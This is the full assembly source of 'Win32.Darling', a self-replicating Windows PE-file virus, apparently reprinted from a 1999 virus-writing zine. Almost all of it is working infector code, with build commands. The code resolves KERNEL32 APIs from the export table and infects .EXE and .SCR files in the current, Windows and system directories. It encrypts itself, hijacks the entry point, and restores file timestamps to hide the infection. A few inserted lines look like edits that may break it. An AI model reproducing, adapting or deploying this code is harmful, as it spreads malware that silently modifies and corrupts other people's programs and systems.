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The Win32.Darling virus
H0l0kausT Issue 1
;============================================================================
;
;
; NAME: Win32.Darling v1.00
; TYPE: Direct-action variable-encrypting PE-infector.
; SIZE: Around 1700 bytes.
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; DATE: May 1999.
; PAYLOAD: Randomly pops-up a message-box.
;
;
; FEATURES:
;
; - True Win32-compatible (Win-95/98/NT).
; - Variable encrypting (32-bit key).
; - Traps possible errors with a SEH.
; - Infects files in current/windoze/system-directory.
; - Non-destructive payload (ARGHHH!!!!!).
;
;
; Nothing brand new at all, this is just a quick Win32.Savior hack, with
; some improvements. Now it fetches API from KERNEL32.DLL's export-table,
; so it doesn't have to rely on the host's imports anymore...
;
; Succesfully tested on Win95 (OSR/2), Win98, and WinNT (4.0).
;
;
; KNOWN PROBLEMS:
;
; For some reason my infected dummy-files start executing wrongly decrypted
; code, this only happens when a small file is executed two times in a row,
; under NT. It doesn't look like a bug of mine, I suspect the caching is
; fucking things up.
;
;
; Assemble with: TASM32 SAVIOR.ASM /m /ml
; TLINK32 SAVIOR.OBJ IMPORT32.LIB
; PEWRSEC SAVIOR.EXE
;
;============================================================================
.386p
.MODEL FLAT
.CODE
ORG 0
EXTRN ExitProcess:PROC ; Only used by the carrier.
Debug_Mode = 1 ; If true, only DUM?.* files are
; targetted for infection.
Virus_Size EQU (Virus_End-START)
Virus_Size_Mem EQU (Virus_End_Mem-START)
Max_Infect EQU 4
Min_Size_Infect EQU 4096
START:
push eax
lidt [esp-2]
pop eax
jmp Carrier
PUSH ESP ; Reserve room for EIP.
PUSHFD ; Save registers & flags.
PUSHAD
CALL Get_Delta ; Get our location in memory.
Anti_Moron DB 0E9h ; Overlapping code, anti BP.
Get_Delta: POP EBP
SUB EBP, (Anti_Moron-START)
MOV EAX, 0
Init_Key = DWORD PTR $-4
MOV EBX, 0
Init_Slide = DWORD PTR $-4
MOV ECX, (Virus_End-Encrypted) / 4
PUSH EBP
Decrypt_DWORD: XOR [EBP+(Virus_Size-4)], EAX
SUB EBP, 4
ADD EAX, EBX ; Slide decryption-key.
RCL EBX, 3 ; Slide key-slider.
LOOP Decrypt_DWORD
POP EBP
IF (($-START) MOD 4) GT 0
DB (4 - (($-START) MOD 4)) DUP(90h)
ENDIF
Encrypted: MOV EAX, EBP
SUB EAX, 1000h ; Calculate image-base.
Base_Displ = DWORD PTR $-4
LEA EBX, [EAX+((Carrier-START)+1000h)]
Old_EIP_RVA = DWORD PTR $-4
MOV [ESP+(9*4)], EBX ; Set address host in stack.
CALL Setup_SEH ; PUSH SEH-address on stack.
MOV ESP, [ESP+(2*4)] ; Restore original stack.
JMP Restore_SEH ; Terminate program-flow.
Setup_SEH: PUSH DWORD PTR FS:[ECX] ; Save original SEH-pointer.
; MOV FS:[ECX], ESP ; Set our own SEH.
CLD
MOV EAX, [ESP+(12*4)]
XOR AX, AX
Find_K32_Base: CMP EAX, 400000h ; Below application-memory?
JB JMP_Rest_SEH ; ARGHH! Not found!
CMP [EAX.EXE_Mark], 'ZM'
JNE Scan_Downwards
CMP [EAX.Reloc_Table], 40h
JB Scan_Downwards
MOV EBX, [EAX+3Ch]
ADD EBX, EAX
CMP [EBX.PE_Mark], 'EP'
JNE Scan_Downwards
MOV EBX, [EBX+120] ; K32's export-table.
ADD EBX, EAX
MOV ESI, [EBX+(3*4)] ; ASCIIZ-name of DLL.
ADD ESI, EAX
PUSH EAX
LODSD
CALL Upcase_EAX
XCHG ECX, EAX
LODSD
CALL Upcase_EAX
CMP EAX, '23LE' ; Check for KERNEL32.DLL.
POP EAX
JNE Scan_Downwards
CMP ECX, 'NREK' ; Found KERNEL32.DLL ?
JE Found_K32_Base
Scan_Downwards: SUB EAX, 65536
JMP Find_K32_Base
Virus_Name DB 'Win32.Darling v1.00', 0
JMP_Rest_SEH: JMP Restore_SEH ; Abort all.
Found_K32_Base: MOV EDX, [EBX+(8*4)] ; Array of name RVA's.
ADD EDX, EAX
MOV ECX, [EBX+(6*4)] ; Amount of name entries.
DEC ECX ; Last entry name.
Find_GPA: MOV EDI, [EDX+(ECX*4)] ; Offset name.
ADD EDI, EAX
PUSHAD
LEA ESI, [EBP+(GetProcAddress_Name-START)]
PUSH 15
POP ECX
REPE CMPSB
POPAD
JNE LOOP_Find_GPA
MOV ESI, [EBX+(9*4)] ; Array of API ordinals.
ADD ESI, EAX
MOVZX ESI, WORD PTR [ESI+(ECX*2)]
MOV EBX, [EBX+(7*4)] ; Array of API RVA's.
ADD EBX, EAX
LEA EBX, [EBX+(ESI*4)]
MOV ESI, [EBX]
ADD ESI, EAX
MOV [EBP+(GetProcAddress-START)], ESI
LOOP_Find_GPA: LOOP Find_GPA
XCHG EBX, EAX
LEA ESI, [EBP+(API_Names-START)]
LEA EDI, [EBP+(API_Addresses-START)]
Loop_Get_API: PUSH ESI
PUSH EBX
CALL [EBP+(GetProcAddress-START)]
CLD ; Store API-address.
STOSD
XCHG ECX, EAX ; API not found?
JECXZ JMP_Rest_SEH
Find_Next_API: LODSB
OR AL, AL ; Found end of API-name?
JNZ Find_Next_API
CMP [ESI], AL ; We've did 'em all?
JNZ Loop_Get_API
LEA ESI, [EBP+(Current_Directory-START)]
MOV EBX, 260
PUSH ESI
PUSH ESI ; Retrieve current path.
PUSH EBX
CALL [EBP+(GetCurrentDirectoryA-START)]
ADD ESI, EBX
PUSH ESI
PUSH EBX ; Retrieve Windoze-directory.
PUSH ESI
CALL [EBP+(GetWindowsDirectoryA-START)]
ADD ESI, EBX
PUSH ESI
PUSH EBX ; Retrieve System-directory.
PUSH ESI
CALL [EBP+(GetSystemDirectoryA-START)]
; Infect files in System-directory.
CALL [EBP+(SetCurrentDirectoryA-START)]
CALL Infect_Directory
; Infect files in Windoze-directory.
CALL [EBP+(SetCurrentDirectoryA-START)]
CALL Infect_Directory
; Infect files in current-directory.
CALL [EBP+(SetCurrentDirectoryA-START)]
CALL Infect_Directory
CALL [EBP+(GetTickCount-START)]
CMP AL, 10
JA Restore_SEH
jmp Restore_SEH
;gall
LEA EAX, [EBP+(USER32_Name-START)]
PUSH EAX
CALL [EBP+(GetModuleHandleA-START)]
XCHG ECX, EAX
JECXZ Restore_SEH
LEA EAX, [EBP+(MessageBoxA_Name-START)]
PUSH EAX
PUSH ECX
CALL [EBP+(GetProcAddress-START)]
OR EAX, EAX
JZ Restore_SEH
XCHG EBX, EAX
; Display an OK/Cancel-box with a message.
Show_Our_Box: PUSH 30h OR 01h
LEA EAX, [EBP+(Payload_Title-START)]
PUSH EAX
LEA EAX, [EBP+(Payload_Text-START)]
PUSH EAX
PUSH 0
CALL EBX
DEC EAX ; They're disrespecting us
DEC EAX ; by clicking on Cancel?
JZ Show_Our_Box ; Then just repeat all.
Restore_SEH: XOR EAX, EAX
POP DWORD PTR FS:[EAX] ; Restore original SEH.
POP EAX ; Trash handler-address.
Execute_Host: POPAD ; Restore registers & flags.
POPFD
RET ; RETurn to our host.
Payload_Title DB 'http://www.drrling.se', 0
Payload_Text DB 'THIS IS A DEDICATION TO THE BEST MAGAZINE '
DB 'IN SWEDEN, DARLING. - IR IN ''99', 0
Infect_Directory:
PUSHAD
; Clear infection-counter.
AND BYTE PTR [EBP+(Infect_Counter-START)], 0
LEA EAX, [EBP+(Search_Record-START)]
PUSH EAX
LEA EAX, [EBP+(Search_Mask-START)]
PUSH EAX
CALL [EBP+(FindFirstFileA-START)]
MOV ESI, EAX ; Save search-handle in ESI.
INC EAX
JZ Exit_Inf_Dir
Infect_Loop: PUSHAD
LEA EBX, [EBP+(Search_Record.Find_File_Name-START)]
MOV ESI, EBX
CLD
Find_End_Name: LODSB ; Get next byte of filename.
OR AL, AL ; Found end of the ASCIIZ ?
JNZ Find_End_Name
MOV EAX, [ESI-5] ; Get extension DWORD.
CALL Upcase_EAX
CMP EAX, 'EXE.' ; Standard .EXE-file?
JE Extension_OK
CMP EAX, 'RCS.' ; Screensaver?
JNE Exit_Infect
Extension_OK: PUSH EBX
CALL [EBP+(GetFileAttributesA-START)]
CMP EAX, -1 ; Error occurred?
JE Exit_Infect
MOV ESI, EAX
AND AL, NOT 00000001b ; Get rid of readonly-flag.
PUSH EAX
PUSH EBX
CALL [EBP+(SetFileAttributesA-START)]
DEC EAX ; Error occurred?
JNZ Exit_Infect
PUSH ESI ; PUSH filename + attributes
PUSH EBX ; for Restore_Attr.
PUSH EAX ; Open candidate-file.
PUSH EAX
PUSH 3 ; Open existing.
PUSH EAX
PUSH EAX
PUSH 80000000h OR 40000000h ; Read/write-access.
PUSH EBX
CALL [EBP+(CreateFileA-START)]
MOV [EBP+(File_Handle-START)], EAX
MOV ESI, EAX
INC EAX ; Error occurred?
JZ Restore_Attr
PUSH ESI ; For CloseHandle.
PUSH 0 ; Get candidate's filesize.
PUSH ESI
CALL [EBP+(GetFileSize-START)]
CMP EAX, Min_Size_Infect ; File too small?
JB Close_Handle
LEA EAX, [EBP+(Time_Last_Write-START)]
PUSH EAX ; Get filedates & times.
SUB EAX, 8
PUSH EAX
SUB EAX, 8
PUSH EAX
PUSH ESI
CALL [EBP+(GetFileTime-START)]
; Read the MZ-header.
Read_Header: LEA EBX, [EBP+(Header-START)]
PUSH 40h
POP ECX
CALL Read_File
JNZ Close_Handle
CMP [EBX.EXE_Mark], 'ZM' ; It must be a true EXE-file.
JNE Close_Handle
CMP [EBX.Reloc_Table], 40h ; Contains a new EXE-header?
JB Close_Handle
MOV ESI, [EBX+3Ch]
MOV EAX, ESI ; Seek to PE-header.
CALL Seek_File
JZ Close_Handle
PUSH 92 ; Read-in the PE-header.
POP ECX
CALL Read_File
JNZ Close_Handle
CMP [EBX.PE_Mark], 'EP' ; Verify it's a PE-header.
JNE Close_Handle
; Program is executable?
TEST BYTE PTR [EBX.PE_Flags], 00000010b
JZ Close_Handle
; Don't infect DLL's.
TEST BYTE PTR [EBX.PE_Flags+1], 00100000b
JNZ Close_Handle
CMP [EBX.CPU_Type], 14Ch ; Must be a 386+ file.
JNE Close_Handle
; Is it already infected?
CMP [EBX.Checksum], 93FB2AA7h
JE Close_Handle
PUSH ESI
; Calculate position of the last section-header.
MOVZX EAX, [EBX.Number_Of_Sections]
DEC AX
PUSH 40
POP ECX
MUL ECX
; Calculate size of PE-header.
MOV DX, [EBX.NT_Header_Size]
ADD DX, 24
LEA ECX, [ESI+EDX] ; Start section-headers.
ADD EAX, ECX ; EAX = last section-header.
PUSH EAX
; Seek to last section-header.
CALL Seek_File
LEA ESI, [EBP+(Last_Section_Header-START)]
PUSH EBX
MOV EBX, ESI ; Read last section-header.
PUSH 40
POP ECX
CALL Read_File
POP EBX
MOV EAX, [ESI.Section_RVA]
ADD EAX, [ESI.Section_Physical_Size]
MOV [EBP+(Base_Displ-START)], EAX
XCHG [EBX.EIP_RVA], EAX
MOV [EBP+(Old_EIP_RVA-START)], EAX
; Seek to the end of the section.
MOV EAX, [ESI.Section_Physical_Offset]
ADD EAX, [ESI.Section_Physical_Size]
CALL Seek_File
MOV EAX, [ESI.Section_Physical_Size]
ADD EAX, Virus_Size
MOV ECX, [EBX.File_Align]
CALL Align_EAX
MOV [ESI.Section_Physical_Size], EAX
XCHG EDI, EAX ; Save physical-size in EDI.
MOV EAX, [ESI.Section_Virtual_Size]
MOV ECX, [EBX.Object_Align]
CALL Align_EAX
SUB [EBX.Image_Size], EAX
ADD EAX, Virus_Size_Mem - 1
Calc_Mem_Size: INC EAX
CALL Align_EAX
CMP EAX, EDI ; Virtual-size may not be
JB Calc_Mem_Size ; smaller than physical-size.
MOV [ESI.Section_Virtual_Size], EAX
ADD [EBX.Image_Size], EAX
; Set section-flags: read, write, executable, & code.
OR [ESI.Section_Flags], 11100000000000000000000000100000b
LEA EDI, [EBP+(Buffer-START)]
PUSHAD
; Get a random slide-key.
CALL [EBP+(GetTickCount-START)]
MOV [EBP+(Init_Slide-START)], EAX
XCHG EBX, EAX
; Get a random encryption-key.
CALL [EBP+(GetTickCount-START)]
MOV [EBP+(Init_Key-START)], EAX
MOV ESI, EBP
MOV ECX, (Virus_Size / 4)
CLD
REP MOVSD
MOV ECX, (Virus_End-Encrypted) / 4
Encrypt_DWORD: SUB EDI, 4
XOR [EDI], EAX
ADD EAX, EBX
RCL EBX, 3
LOOP Encrypt_DWORD
POPAD
MOV EDX, EDI ; Write virusbody to end
MOV ECX, Virus_Size ; of the last section.
CALL Write_File
POP EAX ; Offset last object-header.
CALL Seek_File
; Write updated section-header back to file.
PUSH 40
POP ECX
LEA EDX, [EBP+(Last_Section_Header-START)]
CALL Write_File
; Seek to end of file.
PUSH 2
PUSH EAX
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(SetFilePointer-START)]
XOR EDX, EDX ; Zero-pad the infected file.
MOV EDI, [EBX.File_Align]
DIV EDI
OR EDX, EDX ; File is already aligned?
JZ Mark_Inf_File
SUB EDI, EDX ; Howmany bytes to pad?
Zero_Pad: PUSH 1 ; Write a padding-byte.
POP ECX
LEA EDX, [EBP+(Zero_Tolerance-START)]
CALL Write_File
DEC EDI ; We've did 'em all?
JNZ Zero_Pad
Mark_Inf_File: MOV [EBX.Checksum], 93FB2AA7h
POP EAX ; Seek to start of PE-header.
CALL Seek_File
PUSH 92 ; Write updated PE-header.
POP ECX
MOV EDX, EBX
CALL Write_File
; Increment our infection-counter.
INC BYTE PTR [EBP+(Infect_Counter-START)]
; Restore original file-dates & times.
Restore_Stamp: LEA EAX, [EBP+(Time_Last_Write-START)]
PUSH EAX
SUB EAX, 8
PUSH EAX
SUB EAX, 8
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(SetFileTime-START)]
Close_Handle: CALL [EBP+(CloseHandle-START)]
Restore_Attr: CALL [EBP+(SetFileAttributesA-START)]
Exit_Infect: POPAD
; We've did enough infections?
CMP BYTE PTR [EBP+(Infect_Counter-START)], Max_Infect
JNB Close_Find
; Find another file.
LEA EAX, [EBP+(Search_Record-START)]
PUSH EAX
PUSH ESI
CALL [EBP+(FindNextFileA-START)]
DEC EAX ; Continue if search went OK.
JZ Infect_Loop
Close_Find: PUSH ESI ; Close search-handle.
CALL [EBP+(FindClose-START)]
Exit_Inf_Dir: POPAD
RET
; EAX = Offset.
; Returns ZF if error.
Seek_File:
PUSH 0
PUSH 0
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(SetFilePointer-START)]
INC EAX
RET
; EBX = Buffer.
; ECX = Bytes to read.
; Returns ZF if successful.
Read_File:
PUSH 0
LEA EAX, [EBP+(Bytes_Read-START)]
PUSH EAX
PUSH ECX
PUSH EBX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(ReadFile-START)]
DEC EAX
RET
; ECX = Amount of bytes.
; EDX = Buffer.
; Returns ZF if successful.
Write_File:
PUSH 0
LEA EAX, [EBP+(Bytes_Read-START)]
PUSH EAX
PUSH ECX
PUSH EDX
PUSH 12345678h
File_Handle = DWORD PTR $-4
CALL [EBP+(WriteFile-START)]
DEC EAX
RET
Align_EAX:
XOR EDX, EDX
DIV ECX
OR EDX, EDX ; Even division?
JZ No_Round ; Then no need to round-up.
INC EAX ; Round-up.
No_Round: MUL ECX
RET
Upcase_EAX:
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
Upcase_AL: CMP AL, 'a'
JB Exit_Upcase_AL
CMP AL, 'z'
JA Exit_Upcase_AL
SUB AL, 'a' - 'A'
Exit_Upcase_AL: RET
IF Debug_Mode
Search_Mask DB 'DUM?.*', 0
ELSE
Search_Mask DB '*.*', 0
ENDIF
USER32_Name DB 'USER32', 0
MessageBoxA_Name DB 'MessageBoxA', 0
GetProcAddress_Name DB 'GetProcAddress', 0
API_Names: DB 'GetCurrentDirectoryA', 0
DB 'SetCurrentDirectoryA', 0
DB 'GetWindowsDirectoryA', 0
DB 'GetSystemDirectoryA', 0
DB 'FindFirstFileA', 0
DB 'FindNextFileA', 0
DB 'FindClose', 0
DB 'GetFileAttributesA', 0
DB 'SetFileAttributesA', 0
DB 'CreateFileA', 0
DB 'CloseHandle', 0
DB 'GetFileTime', 0
DB 'SetFileTime', 0
DB 'GetFileSize', 0
DB 'SetFilePointer', 0
DB 'ReadFile', 0
DB 'WriteFile', 0
DB 'GetModuleHandleA', 0
DB 'GetTickCount', 0
Zero_Tolerance DB 0
IF (($-START) MOD 4) GT 0
DB (4 - (($-START) MOD 4)) DUP(0)
ENDIF
Virus_End:
API_Addresses:
; === Our needed API from KERNEL32.DLL. ===
GetCurrentDirectoryA DD 0
SetCurrentDirectoryA DD 0
GetWindowsDirectoryA DD 0
GetSystemDirectoryA DD 0
FindFirstFileA DD 0
FindNextFileA DD 0
FindClose DD 0
GetFileAttributesA DD 0
SetFileAttributesA DD 0
CreateFileA DD 0
CloseHandle DD 0
GetFileTime DD 0
SetFileTime DD 0
GetFileSize DD 0
SetFilePointer DD 0
ReadFile DD 0
WriteFile DD 0
GetModuleHandleA DD 0
GetTickCount DD 0
GetProcAddress DD 0
Time_Creation DD 0, 0
Time_Last_Access DD 0, 0
Time_Last_Write DD 0, 0
Infect_Counter DB 0
Bytes_Read DD 0
Header DB 92 DUP(0)
Last_Section_Header DB 40 DUP(0)
Search_Record DB 318 DUP(0)
Current_Directory DB 260 DUP(0)
Windows_Directory DB 260 DUP(0)
System_Directory DB 260 DUP(0)
Buffer DB Virus_Size DUP(0)
Virus_End_Mem:
Carrier:
PUSH 0 ; Terminate current process.
CALL ExitProcess
;---------------------- SOME USED STRUCTURES --------------------------------
EXE_Header STRUC
EXE_Mark DW 0 ; MZ-marker (MZ or ZM).
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
MZ_Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Reloc_Table DW 0
EXE_Header ENDS
PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0 ; Minimal CPU required.
Number_Of_Sections DW 0 ; Number of sections in PE.
DD 0
Reserved_1 DD 0
DD 0
NT_Header_Size DW 0
PE_Flags DW 0
DD 4 DUP(0)
EIP_RVA DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
DD 0
Image_Size DD 0
DD 0
Checksum DD 0
PE_Header ENDS
Section_Header STRUC
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
Section_Virtual_Size DD 0 ; Memory-size of section.
Section_RVA DD 0 ; Start section in memory.
Section_Physical_Size DD 0 ; Section-size in file.
Section_Physical_Offset DD 0 ; Section file-offset.
Section_Reserved_1 DD 0 ; Not used for executables.
Section_Reserved_2 DD 0 ; Not used for executables.
Section_Reserved_3 DD 0 ; Not used for executables.
Section_Flags DD 0 ; Flags of the section.
Section_Header ENDS
Find_First_Next_Win32 STRUC
File_Attributes DD 0
Creation_Time DD 0, 0
Last_Accessed_Time DD 0, 0
Last_Written_Time DD 0, 0
Find_File_Size_High DD 0
Find_File_Size_Low DD 0
Find_Reserved_1 DD 0
Find_Reserved_2 DD 0
Find_File_Name DB 260 DUP(0)
Find_DOS_File_Name DB 14 DUP(0)
Find_First_Next_Win32 ENDS
END START
